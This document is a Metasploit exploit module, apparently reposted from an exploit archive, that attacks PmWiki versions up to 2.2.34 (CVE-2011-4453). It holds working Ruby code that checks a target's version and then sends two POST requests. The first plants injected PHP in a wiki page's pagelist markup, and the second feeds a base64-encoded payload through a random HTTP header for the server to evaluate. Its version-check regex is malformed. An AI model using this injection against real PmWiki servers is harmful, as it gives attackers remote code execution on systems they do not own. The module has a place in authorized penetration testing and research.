PmWiki 2.2.34 Remote PHP Code Injection Exploit

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',  
'Description' => %q{  
This module exploits an arbitrary command execution vulnerability  
in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is  
inside /scripts/pagelist.php.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'EgiX', # Vulnerability discovery and exploit  
'TecR0c' # Metasploit Module  
],  
'References' =>  
[  
['CVE', '2011-4453'],  
['BID', '50776'],  
['OSVDB', '77261'],  
['URL', 'http://www.exploit-db.com/exploits/18149/'],  
['URL', 'http://www.pmwiki.org/wiki/PITS/01271']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Keys' => ['php'],  
'Space' => 4000,  
'DisableNops' => true,  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'Nov 09 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),  
],self.class)  
end  
  
def check  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'  
  
res = send_request_raw(  
{  
'uri' => uri  
}, 25)  
  
if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
p = Rex::Text.encode_base64(payload.encoded)  
header = rand_text_alpha_upper(3)  
header_append = rand_text_alpha_upper(4)  
  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' =>  
{  
'action' => 'edit',  
'post' => 'save',  
'n' => "#{header}.#{header_append}",  
'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",  
}  
}, 25)  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'headers' =>  
{  
header => p,  
'Connection' => 'Close',  
},  
'vars_post' =>  
{  
'n' => "#{header}.#{header_append}",  
}  
}, 25)  
end  
end  
`